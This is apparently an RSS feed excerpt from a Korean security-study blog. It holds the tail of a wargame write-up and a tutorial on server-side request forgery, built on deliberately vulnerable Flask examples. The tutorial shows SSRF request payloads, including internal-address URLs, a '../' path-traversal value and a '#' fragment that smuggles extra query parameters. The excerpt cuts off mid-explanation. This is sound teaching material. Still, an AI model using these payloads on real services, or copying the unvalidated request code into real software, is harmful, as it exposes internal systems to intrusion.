&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리를 해보면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 필터링이 걸려있었지만, &lt;span style=&quot;color: #ee2323;&quot;&gt;단순 문자열 필터링으로 우회&lt;/span&gt;가 가능했고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. request.get 으로 url을 그냥 서버에 요청하고 있다는 점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;--&amp;gt; &lt;span style=&quot;color: #ee2323;&quot;&gt;SSRF&lt;/span&gt;가 가능했고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. http.server 모듈을 통해 내부 서버를 열어주고 있기에, 이를 이용해 flag.txt에 접근이 가능했다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 3가지 주요 취약점을 활용해 풀 수 있는 문제 였다,,!&lt;/p&gt;</description>
      <category>워게임/web2</category>
      <author>maru_</author>
      <guid isPermaLink="true">https://m4ruru.tistory.com/31</guid>
      <comments>https://m4ruru.tistory.com/31#entry31comment</comments>
      <pubDate>Mon, 29 Jun 2026 21:02:46 +0900</pubDate>
    </item>
    <item>
      <title>Server-Side Request Forgery (SSRF)</title>
      <link>https://m4ruru.tistory.com/30</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;SSRF : &lt;/b&gt;Server-Side Request Forgery&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 서버 측 요청 위조&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 공격자가 직접 요청하는 것이 아니라, 서버가 대신 요청하게 만드는 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버가 정확히 뭔지 , API에 대한 정리, 마이크로서비스에 대한 것을 먼저 정리 해봤음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;서버&lt;/b&gt;에 대해..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 요청을 받고 응답을 돌려주는 컴퓨터, 프로그램&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 웹 서비스를 사용할 때 사용자는 브라우저에 요청을 보냄&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자&amp;nbsp; 브라우저 -&amp;gt; 서버 -&amp;gt; 응답&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어서,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 로그인 페이지에 접속하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저는 서버에 요청을 보내고, 서버는 로그인 페이지 html을 응답해줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;GET / login&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 이런 요청이 오면 서버가 로그인 페이지 달라는 요청이군 하고, 해당 기능을 실행해서 결과과를 응답으로 돌려줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 웹개발 공부 같은 거 할 때 Flask를 본인 노트북이다 컴터로 실행하는데, 그럼 그때의 서버는 본인 노트북이나 컴이 되는 것.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;http://127.0.0.1:5000&lt;/span&gt; -&amp;gt; 로컬 호스트,, 내꺼,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그니까 보통&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;개발 환경&lt;/span&gt;에서는,..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 브라우저 -&amp;gt; 내 컴퓨터에서 실행 중인 Flask 서버&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;실제&lt;/span&gt;로는,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 브라우저 -&amp;gt; AWS, Naver Cloud, 회사 서버 등에서 실행 중인 웹서버&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Flask&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;-&amp;gt;&amp;nbsp;&lt;/b&gt;웹 서버 개발에 필요한 복잡한 기본 동작들을 미리 만들어둔 도구, 개발자는 그걸 import해서 사용,,!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버가 하는&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1782540632308&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;1. 브라우저에서 요청이 들어오는지 기다리기
2. 요청 내용 읽기
3. URL이 뭔지 확인하기
4. GET인지 POST인지 확인하기
5. /login이면 로그인 함수 실행하기
6. /posts면 게시글 함수 실행하기
7. HTML이나 JSON 응답 만들기
8. 브라우저에 응답 보내기
9. 쿠키, 세션, 헤더 같은 것도 처리하기&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 일들을 전부 내가 코드로 직접 구현하지 않고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Flask를 써서 그냥 &lt;b&gt;import&lt;/b&gt;해서 편하게 가져다 쓰는 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;API&lt;/b&gt; (Application Programming Interface)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 각 웹 서비스나 서버 기능을 사용하기 위해 &quot;요청은 어떤 주소로, 어떤 방식으로, 어떤 데이터를 담아 보내야 하고, 서버는 어떤 형식으로 응답해야하는가?&quot;와 같은 것들을 정해둔 규약&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;외부 API&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 다른 회사나 외부 서비스에서 제공하는 API&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp;- 카카오 로그인 API, 네이버 지도 API, 토스 결제 API,,등등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;내부 API&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 같은 서비브 내부에서 서버들끼리 사용하는 API&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp;- 회원 서비스 API, 주문 서비스 API, 관리자 서비스 API,,등등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 내부 API는 보통 외부 사용사자가 직접 접근하면 안됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;**&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨터 안에서도 수많은 소프트웨어들이 API를 통해 상호작용하며 동작함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어서,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 브라우저에서도 개발자들이 사용할 수 있는 다양한 기능들을 API들을 통해 제공함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(DOM API, Timing API, Fetch API...)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 윈도우 AP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 것들,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;**&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;SSRF&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 말했듯이, 말그대로 &lt;span style=&quot;color: #ee2323;&quot;&gt;서버 측 요청 위조&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-&amp;gt; 공격자가 직접 요청하는 것이 아니라 서버가 대신 요청을 보내게 만드는 취약점임&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통, 일반적 요청 흐름은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 -&amp;gt; 웹 서버 -&amp;gt; 응답&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데, SSRF가 발생하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자 -&amp;gt; 웹 서버 -&amp;gt; 내부 서버 , 외부 서버&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 공격자가 직접 내부 서버에 접근하는 것이 아니라, 웹 서버에게 특정 URL로 요청을 보내게 만드는 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론적으로 &lt;b&gt;정리&lt;/b&gt;하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; 공격자가 서버를 이용해서 &lt;span style=&quot;color: #ee2323;&quot;&gt;원래 직접 접근할 수 없는 주소&lt;/span&gt;에 대신 요청을 보내게 만드는 취약점이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서비스가 보내는 요청을 변조하기 위해서는 요청 내에 이용자의 입력값이 포함돼야 하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 입력값이 포함되는 예시로는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 웹 서비스가 이용자가 입력한 URL에 요청을 보내거나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 요청을 보낼 URL에 이용자 번호와 같은 내용이 사용되는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이용자가 입력한 값이 HTTP Body에 포함되는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 나눠 볼 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저,&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;1. 이용자가 입력한 URL에 요청을 보내는 경우&lt;/b&gt;의 예시&lt;/p&gt;
&lt;pre id=&quot;code_1782642759854&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from flask import Flask, request
import requests

app = Flask(__name__)


@app.route(&quot;/image_downloader&quot;)
def image_downloader():
    # 이용자가 입력한 URL에 HTTP 요청을 보내고 응답을 반환하는 페이지 입니다.
    image_url = request.args.get(&quot;image_url&quot;, &quot;&quot;) 
    response = requests.get(image_url) 
    return (
        response.content,
        200,
        {&quot;Content-Type&quot;: response.headers.get(&quot;Content-Type&quot;, &quot;&quot;)},
    )


@app.route(&quot;/request_info&quot;)
def request_info():
    
    return request.user_agent.string
    
    
app.run(host=&quot;127.0.0.1&quot;, port=8000)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;image_downloader()함수&lt;/b&gt;에서 사용자가 &lt;b&gt;입력한 image_url 값을 검증 없이 requests.get에 그대로 전달&lt;/b&gt;하고 있음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 실제로 환경을 빌드해서 간단하게 보면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;http://127.0.0.1:8000/image_downloader?image_url=&lt;a style=&quot;color: #006dd7;&quot; href=&quot;https://dreamhack.io/assets/dreamhack_logo.png&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://dreamhack.io/assets/dreamhack_logo.png&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 정상적인 값을 입력하면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;910&quot; data-origin-height=&quot;724&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EHokl/dJMcaijybYQ/jfnIA7zunHKPont9t0YwgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EHokl/dJMcaijybYQ/jfnIA7zunHKPont9t0YwgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EHokl/dJMcaijybYQ/jfnIA7zunHKPont9t0YwgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEHokl%2FdJMcaijybYQ%2FjfnIA7zunHKPont9t0YwgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;503&quot; height=&quot;724&quot; data-origin-width=&quot;910&quot; data-origin-height=&quot;724&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적인 루트로 이미지를 불러온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데, 여기서 &lt;b&gt;ssrf취약점을 이용해서&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원래는 그냥 브라우저 정보를 표시하는 /request_info 페이지 인데,&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;857&quot; data-origin-height=&quot;228&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dma300/dJMcaaFSuD9/ynoKaXbPQNrA05kC34HY80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dma300/dJMcaaFSuD9/ynoKaXbPQNrA05kC34HY80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dma300/dJMcaaFSuD9/ynoKaXbPQNrA05kC34HY80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdma300%2FdJMcaaFSuD9%2FynoKaXbPQNrA05kC34HY80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;857&quot; height=&quot;228&quot; data-origin-width=&quot;857&quot; data-origin-height=&quot;228&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;http://127.0.0.1:31339/image_downloader?image_url=http://127.0.0.1:31339/request_info&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 입력을 하면, 웹서버가 스스로에게 요청을 보내서, 서버 코드가 request.get()으로 요청을 보낸것이 되면서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청을 보낸 주체가 파이썬 request 라이브러리가 되는 것,,!!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;724&quot; data-origin-height=&quot;304&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cAmvTd/dJMcacwSAdt/MKmZyliOdRoRmRafLqFZ3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cAmvTd/dJMcacwSAdt/MKmZyliOdRoRmRafLqFZ3k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cAmvTd/dJMcacwSAdt/MKmZyliOdRoRmRafLqFZ3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcAmvTd%2FdJMcacwSAdt%2FMKmZyliOdRoRmRafLqFZ3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;624&quot; height=&quot;262&quot; data-origin-width=&quot;724&quot; data-origin-height=&quot;304&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이게, 만약에 단순하게 /request_info가 아니라&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- /admin&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 내부 전용 API&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 외부에서 막아둔 관리자 페이지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 내부 서비스 주쇠&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클라우드 메타데이터 주소&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런것들이라면 위험할 수 있음..,.!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한, 위 예시코드는 이것과 더불어&lt;/p&gt;
&lt;pre id=&quot;code_1782643455910&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;return (
    response.content,
    200,
    {&quot;Content-Type&quot;: response.headers.get(&quot;Content-Type&quot;, &quot;&quot;)},
)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 응답 내용까지 그대로 반환하고 있기때문에 더 위험하다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 서버가 가져온 내용을 사용자가 그대로 볼 수 있기 때문!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두번째로&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;2. 웹 서비스의 요청 URL에 이용자의 입력값이 포함되는 경우&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1782645544820&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;INTERNAL_API = &quot;http://api.internal/&quot;
# INTERNAL_API = &quot;http://172.17.0.3/&quot;


@app.route(&quot;/v1/api/user/information&quot;)
def user_info():
	user_idx = request.args.get(&quot;user_idx&quot;, &quot;&quot;)
	response = requests.get(f&quot;{INTERNAL_API}/user/{user_idx}&quot;)
	

@app.route(&quot;/v1/api/user/search&quot;)
def user_search():
	user_name = request.args.get(&quot;user_name&quot;, &quot;&quot;)
	user_type = &quot;public&quot;
	response = requests.get(f&quot;{INTERNAL_API}/user/search?user_name={user_name}&amp;amp;user_type={user_type}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;user_info&lt;/b&gt; 같은 경우에는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이용자가 전달하는 &lt;b&gt;user_idx값&lt;/b&gt;을 &lt;b&gt;내부 API의 URL경로로 사용&lt;/b&gt;하고 있음을 볼 수 있는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, user_idx=1로 설정해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;http://x.x.x.x/v1/api/user/information?user_idx=1&lt;/span&gt; 이렇게 되면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서비스는 &lt;span style=&quot;color: #006dd7;&quot;&gt;http://api.internal/user/1&lt;/span&gt; 이와 같은 주소에 요청을 보내게 됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;user_search&lt;/b&gt; 같은 경우에는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이용자가 전달하는 &lt;b&gt;user_name 값&lt;/b&gt;을 &lt;b&gt;내부 API의 쿼리로 사용&lt;/b&gt;함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적으로 보면, &lt;span style=&quot;color: #006dd7;&quot;&gt;http://x.x.x.x/v1/api/user/search?user_name=hello&lt;/span&gt; 이런식으로 설정해서 요청을 보내면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;http://api.internal/user/search?user_name=hello&amp;amp;user_type=public&lt;/span&gt; 이와 같은 주소에 요청을 보냄&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 2개 모두 &lt;b&gt;이용자의 입력값이 포함&lt;/b&gt;되면서 &lt;span style=&quot;color: #ee2323;&quot;&gt;요청 변조가&lt;/span&gt; 가능한데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 이용자의 입력값 중 URL의 구성요소 문자를 삽입한다면 &lt;span style=&quot;color: #ee2323;&quot;&gt;API 경로 조작&lt;/span&gt;이 가능해짐&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;user_info&lt;/b&gt; 에서는,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;user_idx=../serch 이렇게 입력하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://api.internal/user/1 이렇게 의도한 정상 경로가 아닌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;http://api.internal/search&lt;/span&gt; 이렇게 경로를 변조 할 수 있음 --&amp;gt; &lt;span style=&quot;color: #ee2323;&quot;&gt;Path Traversal&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;user_idx=../search?user_name=secret&amp;amp;user_type=private 이런식의 입력도 가능&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;user_serch&lt;/b&gt; 에서는,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;user_name=secret&amp;amp;user_type=private&lt;b&gt;#&lt;/b&gt; 이렇게 입력하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;http://api.internal/search?user_name=secret&amp;amp;user_type=private#&amp;amp;user_type=public&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같은 URL에 요청을 보내는데, 이때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;# -&amp;gt; Fragment Identifier 구분자&lt;/b&gt;로 뒤에 붙은 문자열을 생략시키고, 그럼 위 URL은&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;http://api.internal/search?user_name=secret&amp;amp;user_type=private&lt;/span&gt;&lt;br /&gt;위와 같은 URL이 된다,,!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만, 항상 이렇게 동작하는 건 아니고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- requests 라이브러리가 URL을 어떻게 처리하는지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 내부 웹 서버가 /../ 경로를 정규화하는지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 프록시나 라우터가 경로를 정리하는지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;등등의 요소에 따라 달라짐&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇지만, 결국 &lt;b&gt;사용자 입력이 내부 요청 URL의 path 구조를 바꿀 수 있다는 것&lt;/b&gt; 자체가 위험한 설계로 볼 수 있음!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;3. 웹 서비스의&lt;/b&gt; &lt;b&gt;요청 Body에 이용자의 입력값이 포함되는 경우&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1782649590348&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from flask import Flask, request, session
import requests
from os import urandom


app = Flask(__name__)
app.secret_key = urandom(32)
INTERNAL_API = &quot;http://127.0.0.1:8000/&quot;
header = {&quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;}


@app.route(&quot;/v1/api/board/write&quot;, methods=[&quot;POST&quot;])
def board_write():
    session[&quot;idx&quot;] = &quot;guest&quot; .
    title = request.form.get(&quot;title&quot;, &quot;&quot;) 
    body = request.form.get(&quot;body&quot;, &quot;&quot;)
    data = f&quot;title={title}&amp;amp;body={body}&amp;amp;user={session['idx']}&quot;
    response = requests.post(f&quot;{INTERNAL_API}/board/write&quot;, headers=header, data=data) # INTERNAL API 에 이용자가 입력한 값을 HTTP BODY 데이터로 사용해서 요청합니다.
    return response.content
    
    
@app.route(&quot;/board/write&quot;, methods=[&quot;POST&quot;])
def internal_board_write():
    
    title = request.form.get(&quot;title&quot;, &quot;&quot;)
    body = request.form.get(&quot;body&quot;, &quot;&quot;)
    user = request.form.get(&quot;user&quot;, &quot;&quot;)
    info = {
        &quot;title&quot;: title,
        &quot;body&quot;: body,
        &quot;user&quot;: user,
    }
    return info
    
    
@app.route(&quot;/&quot;)
def index():
    
    return &quot;&quot;&quot;
        &amp;lt;form action=&quot;/v1/api/board/write&quot; method=&quot;POST&quot;&amp;gt;
            &amp;lt;input type=&quot;text&quot; placeholder=&quot;title&quot; name=&quot;title&quot;/&amp;gt;&amp;lt;br/&amp;gt;
            &amp;lt;input type=&quot;text&quot; placeholder=&quot;body&quot; name=&quot;body&quot;/&amp;gt;&amp;lt;br/&amp;gt;
            &amp;lt;input type=&quot;submit&quot;/&amp;gt;
        &amp;lt;/form&amp;gt;
    &quot;&quot;&quot;
    
    
app.run(host=&quot;127.0.0.1&quot;, port=8000, debug=True)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 코드 흐름을 살펴보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;index 페이지에서&amp;nbsp;&lt;/p&gt;
